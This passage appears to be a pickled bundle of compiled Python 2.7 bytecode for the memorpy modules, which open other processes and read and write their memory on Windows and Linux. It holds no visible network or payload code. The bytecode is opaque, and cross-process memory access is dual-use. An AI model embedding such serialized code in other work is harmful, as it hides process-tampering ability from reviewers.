d\\x03\\x00l\\r\\x00Z\\r\\x00d\\x00\\x00d\\x03\\x00l\\x0e\\x00Z\\x0e\\x00d\\x00\\x00d\\x04\\x00l\\x0f\\x00m\\x0f\\x00Z\\x0f\\x00m\\x10\\x00Z\\x10\\x00\\x01e\\x03\\x00j\\x11\\x00Z\\x11\\x00e\\x03\\x00j\\x12\\x00Z\\x12\\x00e\\x03\\x00j\\x13\\x00Z\\x13\\x00d\\x03\\x00Z\\x15\\x00e\\x16\\x00e\\x12\\x00d\\x05\\x00\\x83\\x02\\x00r\\xea\\x00e\\x12\\x00j\\x15\\x00Z\\x15\\x00e\\x08\\x00e\\x15\\x00_\\x17\\x00e\\x18\\x00e\\x19\\x00e\\x08\\x00\\x83\\x01\\x00g\\x02\\x00e\\x15\\x00_\\x1a\\x00n\\x00\\x00d\\x06\\x00e\\x0f\\x00f\\x01\\x00d\\x07\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x1b\\x00d\\x03\\x00S(\\x08\\x00\\x00\\x00i\\xff\\xff\\xff\\xff(\\t\\x00\\x00\\x00t\\x07\\x00\\x00\\x00pointert\\x06\\x00\\x00\\x00sizeoft\\x06\\x00\\x00\\x00windllt\\x14\\x00\\x00\\x00create_string_buffert\\x07\\x00\\x00\\x00c_ulongt\\x05\\x00\\x00\\x00byreft\\x0c\\x00\\x00\\x00GetLastErrort\\x06\\x00\\x00\\x00c_boolt\\x08\\x00\\x00\\x00WinError(\\x01\\x00\\x00\\x00t\\x01\\x00\\x00\\x00*N(\\x02\\x00\\x00\\x00t\\x0b\\x00\\x00\\x00BaseProcesst\\x10\\x00\\x00\\x00ProcessExceptiont\\x0e\\x00\\x00\\x00IsWow64Processt\\n\\x00\\x00\\x00WinProcessc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00B\\x00\\x00\\x00s\\xf8\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00d\\x16\\x00d\\x16\\x00e\\x03\\x00d\\x00\\x00\\x84\\x03\\x00Z\\x04\\x00d\\x01\\x00\\x84\\x00\\x00Z\\x05\\x00d\\x02\\x00\\x84\\x00\\x00Z\\x06\\x00e\\x07\\x00d\\x03\\x00\\x84\\x00\\x00\\x83\\x01\\x00Z\\x08\\x00e\\x07\\x00d\\x04\\x00\\x84\\x00\\x00\\x83\\x01\\x00Z\\t\\x00e\\x07\\x00d\\x05\\x00\\x84\\x00\\x00\\x83\\x01\\x00Z\\n\\x00e\\x0b\\x00d\\x06\\x00\\x84\\x01\\x00Z\\x0c\\x00d\\x07\\x00\\x84\\x00\\x00Z\\r\\x00e\\x0b\\x00d\\x08\\x00\\x84\\x01\\x00Z\\x0e\\x00d\\t\\x00\\x84\\x00\\x00Z\\x0f\\x00d\\n\\x00\\x84\\x00\\x00Z\\x10\\x00d\\x0b\\x00\\x84\\x00\\x00Z\\x11\\x00d\\x0c\\x00\\x84\\x00\\x00Z\\x12\\x00d\\r\\x00\\x84\\x00\\x00Z\\x13\\x00d\\x16\\x00d\\x16\\x00d\\x16\\x00d\\x16\\x00d\\x0e\\x00\\x84\\x04\\x00Z\\x14\\x00d\\x0f\\x00\\x84\\x00\\x00Z\\x15\\x00d\\x10\\x00e\\x0b\\x00d\\x11\\x00\\x84\\x02\\x00Z\\x16\\x00d\\x12\\x00\\x84\\x00\\x00Z\\x17\\x00d\\x13\\x00\\x84\\x00\\x00Z\\x18\\x00d\\x14\\x00\\x84\\x00\\x00Z\\x19\\x00d\\x15\\x00\\x84\\x00\\x00Z\\x1a\\x00RS(\\x17\\x00\\x00\\x00c\\x04\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x04\\x00\\x00\\x00C\\x00\\x00\\x00s\\xa9\\x00\\x00\\x00t\\x00\\x00t\\x01\\x00|\\x00\\x00\\x83\\x02\\x00j\\x02\\x00\\x83\\x00\\x00\\x01|\\x01\\x00r5\\x00|\\x00\\x00j\\x03\\x00t\\x04\\x00|\\x01\\x00\\x83\\x01\\x00d\\x01\\x00|\\x03\\x00\\x83\\x01\\x01\\x01n(\\x00|\\x02\\x00rQ\\x00|\\x00\\x00j\\x05\\x00|\\x02\\x00d\\x01\\x00|\\x03\\x00\\x83\\x01\\x01\\x01n\\x0c\\x00t\\x06\\x00d\\x02\\x00\\x83\\x01\\x00\\x82\\x01\\x00|\\x00\\x00j\\x07\\x00\\x83\\x00\\x00r\\x84\\x00|\\x00\\x00j\\x08\\x00\\x83\\x00\\x00}\\x04\\x00|\\x04\\x00j\\t\\x00|\\x00\\x00_\\n\\x00n\\x15\\x00|\\x00\\x00j\\x0b\\x00\\x83\\x00\\x00}\\x04\\x00d\\x03\\x00|\\x00\\x00_\\n\\x00|\\x04\\x00j\\x0c\\x00|\\x00\\x00_\\r\\x00d\\x04\\x00S(\\x05\\x00\\x00\\x00s@\\x00\\x00\\x00 Create and Open a process object from its pid or from its name t\\x05\\x00\\x00\\x00debugs=\\x00\\x00\\x00You need to instanciate process with at least a name or a pidi\\xff\\xff\\xfe\\x7fN(\\x0e\\x00\\x00\\x00t\\x05\\x00\\x00\\x00superR\\r\\x00\\x00\\x00t\\x08\\x00\\x00\\x00__init__t\\x05\\x00\\x00\\x00_opent\\x03\\x00\\x00\\x00intt\\x0f\\x00\\x00\\x00_open_from_namet\\n\\x00\\x00\\x00ValueErrort\\x08\\x00\\x00\\x00is_64bitt\\x13\\x00\\x00\\x00GetNativeSystemInfot\\x1b\\x00\\x00\\x00lpMaximumApplicationAddresst\\x08\\x00\\x00\\x00max_addrt\\r\\x00\\x00\\x00GetSystemInfot\\x1b\\x00\\x00\\x00lpMinimumApplicationAddresst\\x08\\x00\\x00\\x00min_addr(\\x05\\x00\\x00\\x00t\\x04\\x00\\x00\\x00selft\\x03\\x00\\x00\\x00pidt\\x04\\x00\\x00\\x00nameR\\x0e\\x00\\x00\\x00t\\x02\\x00\\x00\\x00si(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyR\\x10\\x00\\x00\\x00%\\x00\\x00\\x00s\\x18\\x00\\x00\\x00\\x00\\x02\\x13\\x01\\x06\\x01\\x1c\\x02\\x06\\x01\\x16\\x02\\x0c\\x02\\x0c\\x01\\x0c\\x01\\x0f\\x02\\x0c\\x01\\t\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00C\\x00\\x00\\x00s\\x0e\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00\\x83\\x00\\x00\\x01d\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x01\\x00\\x00\\x00t\\x05\\x00\\x00\\x00close(\\x01\\x00\\x00\\x00R\\x1c\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyt\\x07\\x00\\x00\\x00__del__9\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x04\\x00\\x00\\x00C\\x00\\x00\\x00s^\\x00\\x00\\x00d\\x01\\x00t\\x00\\x00j\\x01\\x00\\x83\\x00\\x00k\\x07\\x00r\\x16\\x00t\\x02\\x00St\\x03\\x00t\\x02\\x00\\x83\\x01\\x00}\\x01\\x00t\\x04\\x00d\\x00\\x00k\\x08\\x00r2\\x00t\\x02\\x00St\\x04\\x00|\\x00\\x00j\\x06\\x00t\\x07\\x00|\\x01\\x00\\x83\\x01\\x00\\x83\\x02\\x00sV\\x00t\\x08\\x00\\x83\\x00\\x00\\x82\\x01\\x00n\\x00\\x00|\\x01\\x00j\\t\\x00\\x0cS(\\x02\\x00\\x00\\x00Nt\\x02\\x00\\x00\\x0064(\\n\\x00\\x00\\x00t\\x08\\x00\\x00\\x00platformt\\x07\\x00\\x00\\x00machinet\\x05\\x00\\x00\\x00FalseR\\x07\\x00\\x00\\x00R\\x0c\\x00\\x00\\x00t\\x04\\x00\\x00\\x00Nonet\\t\\x00\\x00\\x00h_processR\\x05\\x00\\x00\\x00R\\x08\\x00\\x00\\x00t\\x05\\x00\\x00\\x00value(\\x02\\x00\\x00\\x00R\\x1c\\x00\\x00\\x00t\\x07\\x00\\x00\\x00iswow64(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sR\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinProcess.pyR\\x15\\x00\\x00\\x00<\\x00\\x00\\x00s\\x10\\x00\\x00\\x00\\x00\\x01\\x12\\x01\\x04\\x01\\x0c\\x01\\x0c\\x01\\x04\\x01\\x18\\x01\\x0c\\x01c\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x07\\x00\\x00\\x00C\\x00\\x00\\x00sb\\x01\\x00\\x00g\\x00\\x00}\\x00\\x00t\\x00\\x00d\\x01\\x00\\x14}\\x01\\x00|\\x01\\x00\\x83\\x00\\x00}\\x02\\x00t\\x01\\x00|\\x02\\x00\\x83\\x01\\x00}\\x03\\x00t\\x00\\x00\\x83\\x00\\x00}\\x04\\x00t\\x00\\x00\\x83\\x00\\x00}\\x05\\x00t\\x00\\x00\\x83\\x00\\x00}\\x06\\x00t\\x02\\x00d\\x02\\x00\\x83\\x01\\x00}\\x07\\x00d\\x03\\x00}\\x08\\x00d\\x04\\x00}\\t\\x00t\\x03\\x00j\\x04\\x00t\\x05\\x00|\\x02\\x00\\x83\\x01\\x00|\\x03\\x00t\\x05\\x00|\\x04\\x00\\x83\\x01\\x00\\x83\\x03\\x00\\x01|\\x04\\x00j\\x06\\x00t\\x01\\x00t\\x00\\x00\\x83\\x00\\x00\\x83\\x01\\x00\\x15}\\n\\x00g\\x00\\x00|\\x02\\x00D]\\x0c\\x00}\\x0b\\x00|\\x0b\\x00^\\x02\\x00q\\x94\\x00|\\n\\x00 }\\x0c\\x00x\\xb1\\x00|\\x0c\\x00D]\\xa9\\x00}\\r\\x00i\\x01\\x00t\\x07\\x00|\\r\\x00\\x83\\x01\\x00d\\x05\\x006}\\x0e\\x00t\\x08\\x00j\\t\\x00|\\x08\\x00|\\t\\x00Bt\\n\\x00|\\r\\x00\\x83\\x03\\x00}\\x0f\\x00|\\x0f\\x00rM\\x01t\\x03\\x00j\\x0b\\x00|\\x0f\\x00t\\x05\\x00|\\x05\\x00\\x83\\x01\\x00t\\x01\\x00|\\x05\\x00\\x83\\x01\\x00t\\x05\\x00|\\x06\\x00\\x83\\x01\\x00\\x83\\x04\\x00\\x01t\\x03\\x00j\\x0c\\x00|\\x0f\\x00|\\x05\\x00j\\x06\\x00|\\x07\\x00t\\x01\\x00|\\x07\\x00\\x83\\x01\\x00\\x83\\x04\\x00\\x01|\\x07\\x00j\\x06\\x00|\\x0e\\x00d\\x06\\x00\\x11\\x00\\x00\\x00s\\x1e\\x00\\x00\\x00@\\x01\\n\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x0c\\x01\\x16\\x02\\t\\x01\\t\\x01\\t\\x02\\x06\\x01\\x0f\\x01\\t\\x01\\t\\x01\\x18\\x02\'\np23\nsS\'memorpy/BaseProcess.pyc\'\np24\nS\'\\x03\\xf3\\r\\ng\\x18\\x05Yc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00@\\x00\\x00\\x00sH\\x00\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x00\\x00Z\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x01\\x00Z\\x01\\x00d\\x02\\x00e\\x02\\x00f\\x01\\x00d\\x03\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x03\\x00d\\x04\\x00e\\x04\\x00f\\x01\\x00d\\x05\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x05\\x00d\\x01\\x00S(\\x06\\x00\\x00\\x00i\\xff\\xff\\xff\\xffNt\\x10\\x00\\x00\\x00ProcessExceptionc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00B\\x00\\x00\\x00s\\x08\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00RS(\\x00\\x00\\x00\\x00(\\x02\\x00\\x00\\x00t\\x08\\x00\\x00\\x00__name__t\\n\\x00\\x00\\x00__module__(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sS\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyR\\x00\\x00\\x00\\x00\\t\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x06\\x01t\\x0b\\x00\\x00\\x00BaseProcessc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00B\\x00\\x00\\x00sh\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00d\\x00\\x00\\x84\\x00\\x00Z\\x02\\x00d\\x01\\x00\\x84\\x00\\x00Z\\x03\\x00d\\x02\\x00\\x84\\x00\\x00Z\\x04\\x00d\\x03\\x00\\x84\\x00\\x00Z\\x05\\x00d\\x04\\x00\\x84\\x00\\x00Z\\x06\\x00d\\x05\\x00d\\x06\\x00\\x84\\x01\\x00Z\\x07\\x00d\\x07\\x00\\x84\\x00\\x00Z\\x08\\x00d\\x08\\x00d\\t\\x00d\\n\\x00d\\x0b\\x00\\x84\\x03\\x00Z\\t\\x00d\\x08\\x00d\\x0c\\x00\\x84\\x01\\x00Z\\n\\x00RS(\\r\\x00\\x00\\x00c\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x02\\x00\\x00\\x00O\\x00\\x00\\x00s1\\x00\\x00\\x00d\\x02\\x00|\\x00\\x00_\\x01\\x00d\\x02\\x00|\\x00\\x00_\\x02\\x00t\\x03\\x00|\\x00\\x00_\\x04\\x00d\\x02\\x00|\\x00\\x00_\\x05\\x00d\\x01\\x00|\\x00\\x00_\\x06\\x00d\\x02\\x00S(\\x03\\x00\\x00\\x00s@\\x00\\x00\\x00 Create and Open a process object from its pid or from its name i\\x00\\x00\\x00\\x00N(\\x07\\x00\\x00\\x00t\\x04\\x00\\x00\\x00Nonet\\t\\x00\\x00\\x00h_processt\\x03\\x00\\x00\\x00pidt\\x05\\x00\\x00\\x00Falset\\r\\x00\\x00\\x00isProcessOpent\\x06\\x00\\x00\\x00buffert\\t\\x00\\x00\\x00bufferlen(\\x03\\x00\\x00\\x00t\\x04\\x00\\x00\\x00selft\\x04\\x00\\x00\\x00argst\\x06\\x00\\x00\\x00kwargs(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sS\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\x08\\x00\\x00\\x00__init__\\x0e\\x00\\x00\\x00s\\n\\x00\\x00\\x00\\x00\\x02\\t\\x01\\t\\x01\\t\\x01\\t\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00C\\x00\\x00\\x00s\\x0e\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00\\x83\\x00\\x00\\x01d\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x01\\x00\\x00\\x00t\\x05\\x00\\x00\\x00close(\\x01\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sS\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\x07\\x00\\x00\\x00__del__\\x16\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00C\\x00\\x00\\x00s\\x04\\x00\\x00\\x00d\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x00\\x00\\x00\\x00(\\x01\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sS\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyR\\x0f\\x00\\x00\\x00\\x19\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00O\\x00\\x00\\x00s\\n\\x00\\x00\\x00t\\x00\\x00\\x82\\x01\\x00d\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x01\\x00\\x00\\x00t\\x13\\x00\\x00\\x00NotImplementedError(\\x03\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R\\x0c\\x00\\x00\\x00R\\r\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sS\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\x0b\\x00\\x00\\x00iter_region\\x1b\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x03\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00C\\x00\\x00\\x00s\\n\\x00\\x00\\x00t\\x00\\x00\\x82\\x01\\x00d\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x01\\x00\\x00\\x00R\\x11\\x00\\x00\\x00(\\x03\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00t\\x07\\x00\\x00\\x00addresst\\x04\\x00\\x00\\x00data(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sS\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\x0b\\x00\\x00\\x00write_bytes\\x1d\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01i\\x04\\x00\\x00\\x00c\\x03\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x01\\x00\\x00\\x00C\\x00\\x00\\x00s\\n\\x00\\x00\\x00t\\x00\\x00\\x82\\x01\\x00d\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x01\\x00\\x00\\x00R\\x11\\x00\\x00\\x00(\\x03\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R\\x13\\x00\\x00\\x00t\\x05\\x00\\x00\\x00bytes(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sS\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\n\\x00\\x00\\x00read_bytes \\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x03\\x00\\x00\\x00C\\x00\\x00\\x00s\\x0e\\x00\\x00\\x00d\\x01\\x00t\\x00\\x00|\\x01\\x00\\x83\\x01\\x00\\x16S(\\x02\\x00\\x00\\x00Ns\\x06\\x00\\x00\\x000x%08X(\\x01\\x00\\x00\\x00t\\x03\\x00\\x00\\x00int(\\x02\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R\\x13\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sS\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\x11\\x00\\x00\\x00get_symbolic_name#\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01t\\x04\\x00\\x00\\x00uinti2\\x00\\x00\\x00t\\x05\\x00\\x00\\x00raisec\\x05\\x00\\x00\\x00\\t\\x00\\x00\\x00\\x06\\x00\\x00\\x00C\\x00\\x00\\x00s\\xf6\\x00\\x00\\x00|\\x02\\x00d\\x01\\x00k\\x02\\x00s\\x18\\x00|\\x02\\x00d\\x02\\x00k\\x02\\x00r\\x83\\x00|\\x00\\x00j\\x00\\x00t\\x01\\x00|\\x01\\x00\\x83\\x01\\x00d\\x03\\x00|\\x03\\x00\\x83\\x01\\x01}\\x05\\x00d\\x04\\x00}\\x06\\x00x(\\x00|\\x05\\x00D] \\x00}\\x07\\x00|\\x07\\x00d\\x05\\x00k\\x02\\x00rV\\x00|\\x06\\x00S|\\x06\\x00|\\x07\\x007}\\x06\\x00q@\\x00W|\\x04\\x00d\\x06\\x00k\\x02\\x00rt\\x00|\\x06\\x00St\\x02\\x00d\\x07\\x00\\x83\\x01\\x00\\x82\\x01\\x00no\\x00|\\x02\\x00d\\x03\\x00k\\x02\\x00s\\x9b\\x00|\\x02\\x00d\\x08\\x00k\\x02\\x00r\\xb4\\x00|\\x00\\x00j\\x00\\x00t\\x01\\x00|\\x01\\x00\\x83\\x01\\x00d\\x03\\x00|\\x03\\x00\\x83\\x01\\x01St\\x03\\x00j\\x04\\x00|\\x02\\x00\\x83\\x01\\x00\\\\\\x02\\x00}\\x05\\x00}\\x08\\x00t\\x05\\x00j\\x06\\x00|\\x05\\x00|\\x00\\x00j\\x00\\x00t\\x01\\x00|\\x01\\x00\\x83\\x01\\x00d\\x03\\x00|\\x08\\x00\\x83\\x01\\x01\\x83\\x02\\x00d\\t\\x00\\x19Sd\\x00\\x00S(\\n\\x00\\x00\\x00Nt\\x01\\x00\\x00\\x00st\\x06\\x00\\x00\\x00stringR\\x16\\x00\\x00\\x00t\\x00\\x00\\x00\\x00t\\x01\\x00\\x00\\x00\\x00t\\x06\\x00\\x00\\x00ignores\\x0f\\x00\\x00\\x00string > maxlent\\x01\\x00\\x00\\x00bi\\x00\\x00\\x00\\x00(\\x07\\x00\\x00\\x00R\\x17\\x00\\x00\\x00R\\x18\\x00\\x00\\x00R\\x00\\x00\\x00\\x00t\\x05\\x00\\x00\\x00utilst\\x0b\\x00\\x00\\x00type_unpackt\\x06\\x00\\x00\\x00structt\\x06\\x00\\x00\\x00unpack(\\t\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R\\x13\\x00\\x00\\x00t\\x04\\x00\\x00\\x00typet\\x06\\x00\\x00\\x00maxlent\\x06\\x00\\x00\\x00errorsR\\x1c\\x00\\x00\\x00t\\x04\\x00\\x00\\x00newst\\x01\\x00\\x00\\x00ct\\x01\\x00\\x00\\x00l(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sS\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\x04\\x00\\x00\\x00read&\\x00\\x00\\x00s\\x1c\\x00\\x00\\x00\\x00\\x01\\x18\\x01\\x1b\\x01\\x06\\x01\\r\\x01\\x0c\\x01\\x04\\x01\\x0e\\x01\\x0c\\x01\\x04\\x01\\x0f\\x02\\x18\\x01\\x19\\x01\\x15\\x01c\\x04\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x05\\x00\\x00\\x00C\\x00\\x00\\x00s]\\x00\\x00\\x00|\\x03\\x00d\\x01\\x00k\\x03\\x00rC\\x00t\\x00\\x00j\\x01\\x00|\\x03\\x00\\x83\\x01\\x00\\\\\\x02\\x00}\\x04\\x00}\\x05\\x00|\\x00\\x00j\\x02\\x00t\\x03\\x00|\\x01\\x00\\x83\\x01\\x00t\\x04\\x00j\\x05\\x00|\\x04\\x00|\\x02\\x00\\x83\\x02\\x00\\x83\\x02\\x00S|\\x00\\x00j\\x02\\x00t\\x03\\x00|\\x01\\x00\\x83\\x01\\x00|\\x02\\x00\\x83\\x02\\x00Sd\\x00\\x00S(\\x02\\x00\\x00\\x00NR\\x16\\x00\\x00\\x00(\\x06\\x00\\x00\\x00R"\\x00\\x00\\x00R#\\x00\\x00\\x00R\\x15\\x00\\x00\\x00R\\x18\\x00\\x00\\x00R$\\x00\\x00\\x00t\\x04\\x00\\x00\\x00pack(\\x06\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R\\x13\\x00\\x00\\x00R\\x14\\x00\\x00\\x00R&\\x00\\x00\\x00R\\x1c\\x00\\x00\\x00R+\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sS\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\x05\\x00\\x00\\x00write7\\x00\\x00\\x00s\\x08\\x00\\x00\\x00\\x00\\x01\\x0c\\x01\\x15\\x01"\\x02(\\x0b\\x00\\x00\\x00R\\x01\\x00\\x00\\x00R\\x02\\x00\\x00\\x00R\\x0e\\x00\\x00\\x00R\\x10\\x00\\x00\\x00R\\x0f\\x00\\x00\\x00R\\x12\\x00\\x00\\x00R\\x15\\x00\\x00\\x00R\\x17\\x00\\x00\\x00R\\x19\\x00\\x00\\x00R,\\x00\\x00\\x00R.\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sS\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyR\\x03\\x00\\x00\\x00\\x0c\\x00\\x00\\x00s\\x12\\x00\\x00\\x00\\x06\\x02\\t\\x08\\t\\x03\\t\\x02\\t\\x02\\t\\x03\\x0c\\x03\\t\\x03\\x12\\x11(\\x06\\x00\\x00\\x00R"\\x00\\x00\\x00R$\\x00\\x00\\x00t\\t\\x00\\x00\\x00ExceptionR\\x00\\x00\\x00\\x00t\\x06\\x00\\x00\\x00objectR\\x03\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sS\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/BaseProcess.pyt\\x08\\x00\\x00\\x00\\x04\\x00\\x00\\x00s\\x06\\x00\\x00\\x00\\x0c\\x01\\x0c\\x04\\x16\\x03\'\np25\nsS\'memorpy/LinProcess.pyc\'\np26\nS\'\\x03\\xf3\\r\\ng\\x18\\x05Yc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00@\\x00\\x00\\x00sc\\x02\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x00\\x00Z\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x01\\x00Z\\x01\\x00d\\x00\\x00d\\x01\\x00l\\x02\\x00Z\\x02\\x00d\\x00\\x00d\\x01\\x00l\\x03\\x00Z\\x03\\x00d\\x00\\x00d\\x01\\x00l\\x04\\x00Z\\x04\\x00d\\x00\\x00d\\x01\\x00l\\x05\\x00Z\\x05\\x00d\\x00\\x00d\\x01\\x00l\\x06\\x00Z\\x06\\x00d\\x00\\x00d\\x02\\x00l\\x04\\x00m\\x07\\x00Z\\x07\\x00m\\x08\\x00Z\\x08\\x00m\\t\\x00Z\\t\\x00m\\n\\x00Z\\n\\x00m\\x0b\\x00Z\\x0b\\x00m\\x0c\\x00Z\\x0c\\x00m\\r\\x00Z\\r\\x00m\\x0e\\x00Z\\x0e\\x00m\\x0f\\x00Z\\x0f\\x00\\x01d\\x00\\x00d\\x01\\x00l\\x10\\x00Z\\x10\\x00d\\x00\\x00d\\x01\\x00l\\x11\\x00Z\\x11\\x00d\\x00\\x00d\\x01\\x00l\\x12\\x00Z\\x12\\x00d\\x00\\x00d\\x03\\x00l\\x13\\x00m\\x13\\x00Z\\x13\\x00m\\x14\\x00Z\\x14\\x00\\x01d\\x00\\x00d\\x04\\x00l\\x15\\x00Td\\x00\\x00d\\x01\\x00l\\x16\\x00Z\\x16\\x00e\\x16\\x00j\\x17\\x00d\\x05\\x00\\x83\\x01\\x00Z\\x18\\x00e\\x04\\x00j\\x19\\x00d\\x06\\x00d\\x07\\x00e\\x1a\\x00\\x83\\x01\\x01Z\\x1b\\x00e\\x1b\\x00j\\x1c\\x00Z\\x1d\\x00e\\x0e\\x00e\\t\\x00\\x83\\x01\\x00e\\x1d\\x00_\\x1e\\x00d\\x08\\x00\\x84\\x00\\x00Z\\x1f\\x00e\\x1b\\x00j \\x00Z!\\x00e\\x04\\x00j"\\x00Z#\\x00e\\t\\x00e#\\x00e\\n\\x00e\\n\\x00g\\x04\\x00e!\\x00_$\\x00e\\x0b\\x00e!\\x00_\\x1e\\x00e\\x1b\\x00j%\\x00Z%\\x00e\\t\\x00e%\\x00_\\x1e\\x00e\\n\\x00e\\x0c\\x00e\\t\\x00g\\x03\\x00e%\\x00_$\\x00e&\\x00Z\\\'\\x00y\\xaf\\x00e\\x04\\x00j(\\x00Z)\\x00e\\x1b\\x00j*\\x00Z*\\x00e\\t\\x00e)\\x00e\\t\\x00g\\x03\\x00e*\\x00_$\\x00e\\x1f\\x00e*\\x00_\\x1f\\x00e\\x1b\\x00j+\\x00Z+\\x00e\\t\\x00e+\\x00_\\x1e\\x00e\\n\\x00e\\t\\x00g\\x02\\x00e+\\x00_$\\x00e\\x1f\\x00e+\\x00_\\x1f\\x00e\\x1b\\x00j,\\x00Z,\\x00e\\t\\x00e\\n\\x00e\\x0c\\x00e)\\x00g\\x04\\x00e,\\x00_$\\x00e\\r\\x00e,\\x00_\\x1e\\x00e\\x1f\\x00e,\\x00_\\x1f\\x00e\\x1b\\x00j-\\x00Z.\\x00e\\t\\x00g\\x01\\x00e.\\x00_$\\x00e\\t\\x00e.\\x00_\\x1e\\x00e\\x1a\\x00Z\\\'\\x00Wn\\x14\\x00\\x01\\x01\\x01e\\x18\\x00j/\\x00d\\t\\x00\\x83\\x01\\x00\\x01n\\x01\\x00Xd\\n\\x00e\\x13\\x00f\\x01\\x